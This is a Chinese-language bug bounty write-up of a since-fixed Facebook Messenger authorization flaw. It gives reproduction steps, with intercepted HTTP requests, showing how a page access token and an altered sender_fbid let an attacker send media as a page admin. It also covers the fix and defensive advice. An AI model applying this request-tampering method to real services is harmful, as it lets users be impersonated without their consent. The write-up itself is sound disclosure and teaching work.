Facebook 赏金$7,500的越权漏洞
字数 1095 2025-08-26 22:11:23

Facebook Messenger 越权漏洞分析与复现

漏洞概述

Facebook Messenger 存在一个严重的越权漏洞,允许攻击者代表其他用户发送媒体消息(照片、视频、音频)。该漏洞被 Facebook 安全团队确认并修复,研究人员获得了 $7,500 的漏洞赏金。

漏洞原理

攻击者可以通过以下方式利用此漏洞:

  1. 在自己的 Facebook 页面上设置受害者为管理员/编辑/主持人
  2. 拦截发送媒体消息的请求
  3. 修改请求中的授权令牌和发送者ID
  4. 以受害者身份向任意用户发送消息

漏洞复现步骤

环境准备

  1. 准备两个 Facebook 账户:

    • 攻击者账户(示例中为 "Kassem Bazzoun")
    • 受害者账户(示例中为 "Semi Colon")
  2. 攻击者需要在自己的 Facebook 页面上将受害者设置为管理员/编辑/主持人角色

攻击流程

1. 拦截发送媒体消息的请求

攻击者需要在发送图片/语音/视频时拦截请求,重点关注以下两个参数:

  • Authorization Header - 授权令牌
  • sender_fbid - 发送者ID
  • to - 接收者ID

示例请求:

发送照片的拦截数据包:

POST /messenger_image/3e8cde28c9b2d9112e9c87af9b71fbc56528664348207412316 HTTP/1.1
Authorization: OAuth EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphk.........DgWUkgTUyMBUvs
original_timestamp: 1556554877552
sender_fbid: victim_id 
to: receiver_id
Accept-Encoding: gzip, deflate

发送视频的拦截数据包:

POST /messenger_video/83e5ecba32f23sfd09a99f33b96529102120235284153 HTTP/1.1
X-Entity-Name: VID-20190430-WA0150.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
Authorization: OAuth EAAGNO4a7r2wBAJJXT1VkfYFfwdf9ZCpSxfcGpfi3azopoTlEvYEZC3639cIVmKefBhvKXadoD17GMt7t3Xx.........eTfcjUHvQZDZD
media_hash: 4dc51a78fd7e39ab3369ddd3873d4d1794b499621a1bd48d867c05c1a6ce65a5
X-FB-Net-HNI: 41503
attempt_id: 6529102120248812254
send_message_by_server: 4
app_id: 256002347743983
Content-Type: application/octet-stream
offline_threading_id: 65291021202332323
X-FB-Connection-Quality: GOOD
sender_fbid : victim_id
to: receiver_id
X-FB-SIM-HNI: 41503

2. 获取页面访问令牌

攻击者需要使用 Graph API Explorer 生成页面令牌:

  1. 访问 developers.facebook.com
  2. 发送以下请求获取页面访问令牌:
    GET/V3.2/page_id?fields=access_token
    
  3. 响应将返回:
    {
      "access_token": "EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphkkZBv15yb7FNy357AcxAtjZCSrjFkL35muO3h3dZB2zlSZBOiS.....",
      "id": "page_id"
    }
    

3. 修改请求参数

  1. Authorization Header 中的令牌替换为获取的页面令牌
  2. 修改 sender_fbid 参数为受害者ID(管理员ID)
  3. 设置 to 参数为接收者ID

4. 发送修改后的请求

完成上述修改后,攻击者可以以受害者身份向任意用户发送媒体消息。

漏洞影响

  1. 攻击者可以冒充受害者向任何人发送消息
  2. 可能被用于社交工程攻击、传播恶意内容或损害受害者声誉
  3. 攻击不仅限于发送给自己,可以发送给任何用户

漏洞修复方案

Facebook 通过以下方式修复了此漏洞:

  1. 阻止使用"页面访问令牌"代表管理员发送消息
  2. 页面访问令牌现在只能用于代表页面本身发送消息
  3. 服务器现在会返回错误响应:
    {
      "err_code": "1545003",
      "err_str": "您无法执行该操作。"
    }
    

防御建议

  1. 谨慎接受Facebook页面管理邀请
  2. 定期检查自己管理的页面和角色
  3. 使用Facebook提供的隐私和安全设置监控账户活动
  4. 对于敏感操作,启用双因素认证

总结

这个漏洞展示了API授权机制中的缺陷,服务器未能正确验证令牌与发送者身份之间的关系。安全开发人员应确保:

  1. 严格验证令牌与用户身份的对应关系
  2. 实现适当的权限检查机制
  3. 对敏感操作进行多重验证
Facebook Messenger 越权漏洞分析与复现 漏洞概述 Facebook Messenger 存在一个严重的越权漏洞,允许攻击者代表其他用户发送媒体消息(照片、视频、音频)。该漏洞被 Facebook 安全团队确认并修复,研究人员获得了 $7,500 的漏洞赏金。 漏洞原理 攻击者可以通过以下方式利用此漏洞: 在自己的 Facebook 页面上设置受害者为管理员/编辑/主持人 拦截发送媒体消息的请求 修改请求中的授权令牌和发送者ID 以受害者身份向任意用户发送消息 漏洞复现步骤 环境准备 准备两个 Facebook 账户: 攻击者账户(示例中为 "Kassem Bazzoun") 受害者账户(示例中为 "Semi Colon") 攻击者需要在自己的 Facebook 页面上将受害者设置为管理员/编辑/主持人角色 攻击流程 1. 拦截发送媒体消息的请求 攻击者需要在发送图片/语音/视频时拦截请求,重点关注以下两个参数: Authorization Header - 授权令牌 sender_fbid - 发送者ID to - 接收者ID 示例请求: 发送照片的拦截数据包: 发送视频的拦截数据包: 2. 获取页面访问令牌 攻击者需要使用 Graph API Explorer 生成页面令牌: 访问 developers.facebook.com 发送以下请求获取页面访问令牌: 响应将返回: 3. 修改请求参数 将 Authorization Header 中的令牌替换为获取的页面令牌 修改 sender_fbid 参数为受害者ID(管理员ID) 设置 to 参数为接收者ID 4. 发送修改后的请求 完成上述修改后,攻击者可以以受害者身份向任意用户发送媒体消息。 漏洞影响 攻击者可以冒充受害者向任何人发送消息 可能被用于社交工程攻击、传播恶意内容或损害受害者声誉 攻击不仅限于发送给自己,可以发送给任何用户 漏洞修复方案 Facebook 通过以下方式修复了此漏洞: 阻止使用"页面访问令牌"代表管理员发送消息 页面访问令牌现在只能用于代表页面本身发送消息 服务器现在会返回错误响应: 防御建议 谨慎接受Facebook页面管理邀请 定期检查自己管理的页面和角色 使用Facebook提供的隐私和安全设置监控账户活动 对于敏感操作,启用双因素认证 总结 这个漏洞展示了API授权机制中的缺陷,服务器未能正确验证令牌与发送者身份之间的关系。安全开发人员应确保: 严格验证令牌与用户身份的对应关系 实现适当的权限检查机制 对敏感操作进行多重验证